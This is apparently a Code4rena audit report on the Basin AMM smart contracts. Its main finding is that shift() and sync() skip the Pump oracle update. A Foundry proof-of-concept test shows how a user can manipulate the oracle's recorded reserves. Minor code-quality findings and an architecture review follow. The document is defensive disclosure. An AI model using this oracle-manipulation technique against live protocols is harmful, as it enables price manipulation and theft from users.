Basin - Eeyore's results

Lines of code

https://github.com/code-423n4/2023-07-basin/blob/9403cf973e95ef7219622dbbe2a08396af90b64c/src/Well.sol#L352-L377 https://github.com/code-423n4/2023-07-basin/blob/9403cf973e95ef7219622dbbe2a08396af90b64c/src/Well.sol#L590-L598

Vulnerability details

Vulnerability details

The Wall contract mandates that the Pumps should be updated with the previous block's reserves in case reserves are changed in the current block to reflect the price change accurately.

However, this doesn't happen in the shift() and sync() functions, providing an opportunity for any user to manipulate the reserves in the current block before updating the Pumps with new manipulated reserves values.

Impact

The Pumps (oracles) can be manipulated. This can affect any contract/protocol that utilizes Pumps as on-chain oracles.

Proof of Concept

1. A malicious user performs a shift() operation to update reserves to desired amounts in the current block, thereby overriding the reserves from the previous block.
2. The user performs swapFrom()/swapTo() operations to extract back the funds used in the shift() function. As a result, the attacker is not affected by any arbitration as pool reserves revert back to the original state.
3. The swapFrom()/swapTo() operations trigger the Pumps update with invalid reserves, resulting in oracle manipulation.

Note: The sync() function can also manipulate reserves in the current block, but it's less useful than shift() from an attacker's perspective.

PoC Tests

This test illustrates how to use shift() to manipulate Pumps data.

Create test/pumps/Pump.Manipulation.t.sol and run forge test --match-test manipulatePump.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {TestHelper, Call} from "../TestHelper.sol";
import {MultiFlowPump} from "src/pumps/MultiFlowPump.sol";
import {from18} from "test/pumps/PumpHelpers.sol";

contract PumpManipulationTest is TestHelper {
    MultiFlowPump pump;

    function setUp() public {
        pump = new MultiFlowPump(
            from18(0.5e18), // cap reserves if changed +/- 50% per block
            from18(0.5e18), // cap reserves if changed +/- 50% per block
            12, // block time
            from18(0.9e18) // ema alpha
        );

        Call[] memory _pumps = new Call[](1);
        _pumps[0].target = address(pump);
        _pumps[0].data = new bytes(0);

        setupWell(2,_pumps);
    }

    function test_manipulatePump() public prank(user) {
        uint256 amountIn = 1 * 1e18;

        // 1. equal swaps, reserves should be unchanged
        uint256 amountOut = well.swapFrom(tokens[0], tokens[1], amountIn, 0, user, type(uint256).max);
        well.swapFrom(tokens[1], tokens[0], amountOut, 0, user, type(uint256).max);

        uint256[] memory lastReserves = pump.readLastReserves(address(well));
        assertApproxEqAbs(lastReserves[0], 1000 * 1e18, 1);
        assertApproxEqAbs(lastReserves[1], 1000 * 1e18, 1);

        // 2. equal shift + swap, reserves should be unchanged (but are different)
        increaseTime(120);
        
        tokens[0].transfer(address(well), amountIn);
        amountOut = well.shift(tokens[1], 0, user);
        well.swapFrom(tokens[1], tokens[0], amountOut, 0, user, type(uint256).max);

        lastReserves = pump.readLastReserves(address(well));
        assertApproxEqAbs(lastReserves[0], 1000 * 1e18, 1);
        assertApproxEqAbs(lastReserves[1], 1000 * 1e18, 1);
    }
}

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Update Pumps in the shift() and sync() function.

    function shift(
        IERC20 tokenOut,
        uint256 minAmountOut,
        address recipient
    ) external nonReentrant returns (uint256 amountOut) {
        IERC20[] memory _tokens = tokens();
-       uint256[] memory reserves = new uint256[](_tokens.length);
+       uint256[] memory reserves = _updatePumps(_tokens.length);

    function sync() external nonReentrant {
        IERC20[] memory _tokens = tokens();
-       uint256[] memory reserves = new uint256[](_tokens.length);
+       uint256[] memory reserves = _updatePumps(_tokens.length);

Assessed type

Oracle

[L-01] Initializers are not disabled in the Well implementation

Description

Even though the Well contract is not upgradable, it leverages the OpenZeppelin upgradable contracts implementations for cloning functionality.

It is recommended to call the _disableInitializers() function in the Well implementation constructor to prevent any user from calling the init() function.

There is no direct risk associated with calling the init() function on the Well implementation by any user other than the possibility of setting implementation with stupid names for the name and symbol variables, which can affect the project's reputation.

Recommendation

Add a constructor with a call to the _disableInitializers() function to the Well contract.

    bytes32 constant RESERVES_STORAGE_SLOT = bytes32(uint256(keccak256("reserves.storage.slot")) - 1);
+
+   constructor() {
+       _disableInitializers();
+   }
+
    function init(string memory name, string memory symbol) public initializer {
}

[L-02] Misuse of shl function leads to unnecessary over-estimation of size in calldatacopy within _getArgBytes() function

Description

In the ClonePlus contract, within the _getArgBytes() function, the size parameter for calldatacopy is incorrectly calculated due to the misuse of the shl(5, bytesLen) operation. This operation results in shifting bytesLen 5 places to the left, effectively multiplying bytesLen by 32 (2^5), leading to an over-estimation of the required size.

While this issue does not have a direct impact on the data returned by _getArgBytes() — since data length is correctly allocated with bytesLen, and any excess during the calldatacopy call is omitted—it can potentially lead to confusion and unexpected behaviors.

/src/utils/ClonePlus.sol#L36-L38

File: ClonePlus.sol

36:  assembly {
37:     calldatacopy(add(data, ONE_WORD), offset, shl(5, bytesLen))
38:  }

Recommendation

Avoid unnecessary left-shifting by directly using bytesLen as the size parameter in the calldatacopy function, which accurately reflects the size of the bytes data to be copied.

function _getArgBytes(uint256 argOffset, uint256 bytesLen) internal pure returns (bytes memory data) {
    if (bytesLen == 0) return data;
    uint256 offset = _getImmutableArgsOffset() + argOffset;
    data = new bytes(bytesLen);

    // solhint-disable-next-line no-inline-assembly
    assembly {
-       calldatacopy(add(data, ONE_WORD), offset, shl(5, bytesLen))
+       calldatacopy(add(data, ONE_WORD), offset, bytesLen)
    }
}

[N-01] Redundant SafeCast usage

Description

The SafeCast library is imported, but its functionality is not used in the Aquifer, Well and MultiFlowPump contracts.

/src/Well.sol#L8 /src/Well.sol#L23

File: Well.sol

8:  import {SafeCast} from "oz/utils/math/SafeCast.sol";

23: using SafeCast for uint256;

/src/Aquifer.sol#L6 /src/Aquifer.sol#L20

File: Aquifer.sol

6:  import {SafeCast} from "oz/utils/math/SafeCast.sol";

20: using SafeCast for uint256;

/src/pumps/MultiFlowPump.sol#L13 /src/pumps/MultiFlowPump.sol#L30

File: MultiFlowPump.sol

13:  import {SafeCast} from "oz/utils/math/SafeCast.sol";

30: using SafeCast for uint256;

Recommendation

Remove redundant SafeCast library usage.

[N-02] Redundant imports

Description

There are redundant import declarations across contracts.

In the Aquifer contract the IWellFunction, Well, Call and IERC20 imports are redundant.

/src/Aquifer.sol#L8 /src/Aquifer.sol#L10

File: Aquifer.sol

8:  import {IWellFunction} from "src/interfaces/IWellFunction.sol";

10: import {Well, IWell, Call, IERC20} from "src/Well.sol";

Recommendation

Remove redundant imports.

[N-03] Not explicit visibility of storage and constant variables

Description

The code heavily uses storage and constant variables with implicit visibility; this does not directly affect security, but does compromise the code's readability.

/src/Aquifer.sol#L25

File: Aquifer.sol

25:  mapping(address => address) wellImplementations;

/src/Well.sol#L26-L29 /src/Well.sol#L77-L82

File: Well.sol

26: uint256 constant ONE_WORD = 32;
27: uint256 constant PACKED_ADDRESS = 20;
28: uint256 constant ONE_WORD_PLUS_PACKED_ADDRESS = 52; // For gas efficiency purposes
29: bytes32 constant RESERVES_STORAGE_SLOT = bytes32(uint256(keccak256("reserves.storage.slot")) - 1);

77: uint256 constant LOC_AQUIFER_ADDR = 0;
78: uint256 constant LOC_TOKENS_COUNT = LOC_AQUIFER_ADDR + PACKED_ADDRESS;
79: uint256 constant LOC_WELL_FUNCTION_ADDR = LOC_TOKENS_COUNT + ONE_WORD;
80: uint256 constant LOC_WELL_FUNCTION_DATA_LENGTH = LOC_WELL_FUNCTION_ADDR + PACKED_ADDRESS;
81: uint256 constant LOC_PUMPS_COUNT = LOC_WELL_FUNCTION_DATA_LENGTH + ONE_WORD;
82: uint256 constant LOC_VARIABLE = LOC_PUMPS_COUNT + ONE_WORD;

/src/pumps/MultiFlowPump.sol#L36-L39

File: MultiFlowPump.sol

36:  bytes16 immutable LOG_MAX_INCREASE;
37:  bytes16 immutable LOG_MAX_DECREASE;
38:  bytes16 immutable ALPHA;
39:  uint256 immutable BLOCK_TIME;

Recommendation

To improve the code readability, it is recommended to explicitly define the visibility for all storage and constant variables.

[N-04] Redundant constructor in Aquifer contract

Description

The constructor declaration in the Aquifer contract is redundant and decreases code readability.

/src/Aquifer.sol#L27

File: Aquifer.sol

27:  constructor() ReentrancyGuard() {}

Recommendation

Remove redundant constructor declaration.

[N-05] Import from draft-ERC20PermitUpgradeable.sol draft contract

Description

The ERC20PermitUpgradeable is final as of 2022-11-01 and should be imported correctly.

/src/Well.sol#L6

File: Well.sol

6:  import {ERC20Upgradeable, ERC20PermitUpgradeable} from "ozu/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol";

Recommendation

Import from "ozu/token/ERC20/extensions/ERC20PermitUpgradeable.sol";

[N-06] Function names are shadowed by parameter names

Description

In the init() function, parameters name and symbol are shadowing ERC20Upgradeable.name() and ERC20Upgradeable.symbol() view functions.

/src/Well.sol#L31-L33

File: Well.sol

31: function init(string memory name, string memory symbol) public initializer {
32:     __ERC20Permit_init(name);
33:     __ERC20_init(name, symbol);

Recommendation

To avoid any potential confusion or error due to function shadowing, consider renaming the name and symbol parameters.

[N-07] __ReentrancyGuard_init() call missed in the Well.init() function

Description

The __ReentrancyGuard_init() is not called during the Well.init() function execution.

In this case there is no direct issue with the missed __ReentrancyGuard_init() call, only the first call to any function with nonReentrant modifier will use more gas as the storage variable ReentrancyGuardUpgradeable._status will be initialized for the first time.

/src/Well.sol#L31

File: Well.sol

31: function init(string memory name, string memory symbol) public initializer {

Recommendation

Add the missing __ReentrancyGuard_init() call to the Well.init() function to ensure the reentrancy guard is properly set up, reducing the gas cost for subsequent nonReentrant function calls.

Suggestions to consider including in your analysis:

The overall quality of the code is commendable, especially the innovative approach taken to separate the AMM into three distinct components.

However, there's an area that warrants further attention.

The testing strategy could be improved by incorporating more comprehensive integration tests, which include the real logic of all components interacting in a full protocol flow. This would ensure that the behavior of the whole system under various conditions is correctly validated.

Contextualizing Findings:

I bring to this audit about 30 hours of in-depth manual code review and extensive experience as a lead smart contract auditor at a prominent auditing firm. My transition to Code4Rena contests has allowed me to take a fresh, competitive approach to auditing.

Approach in Evaluating the Codebase:

The codebase was evaluated through a comprehensive line-by-line manual review. This method ensures a detailed understanding of each component and its role within the system, as well as an appreciation of the overall system architecture.

Architecture Recommendations:

The protocol’s architecture, with its clean and logical separation into three distinct components (Well, WellFunction, and Pumps), is well-structured. The innovative design promotes versatility and easy comprehension, and no modifications are recommended at this time.

Codebase Quality Analysis:

The codebase is of good quality: well-organized, readable, and largely consistent. Some minor issues were noted: the occasional inconsistency (pragma version, the use of i++ over ++i), typos in the comments, unnecessary use of the override modifier in the aquifer() function, and the opportunity to use inherit doc comments in interfaces. Despite these small issues, the code is proficiently implemented and structured.

However, an enhanced integration test suite that covers the real logic of all components in a full protocol flow is recommended for a more rigorous quality check.

Centralization Risks:

No centralization risks were found in the sample components. The "Guilty until proven innocent" approach mitigates potential centralization risks in the system architecture, but this depends heavily on each component's implementation. Each new component should be treated with caution and audited separately to ensure decentralization.

Mechanism Review:

The sample components emulate a two-token AMM similar to Uniswap V2 protocol, and their implementation is sound.

However, it's crucial to individually audit any future different implementations to maintain the integrity of the system mechanisms.

Systemic Risks:

One systemic risk tied to the Well contract has been identified. It relates to an erroneous updating of the Pumps contracts under certain conditions, which may arise due to the absence of comprehensive integration tests.

Scalability and performance risks could surface if an excessive number of Pumps are added to the Well, heavily contingent on the implementation of the Pumps.

There's also an economic and financial risk associated with incorrect implementation of the WellFunction contracts if they are not audited.

However, there were no identified dependencies, regulatory, or legal risks in the system.

Summary:

In conclusion, this project manifests commendable code quality and innovative architectural design. While some minor issues were found in code consistency and commenting, the major recommendation is to bolster the testing suite to cover comprehensive integration tests. This will help assure the functionality of the system in various scenarios and minimize systemic risks.

Time spent:

30 hours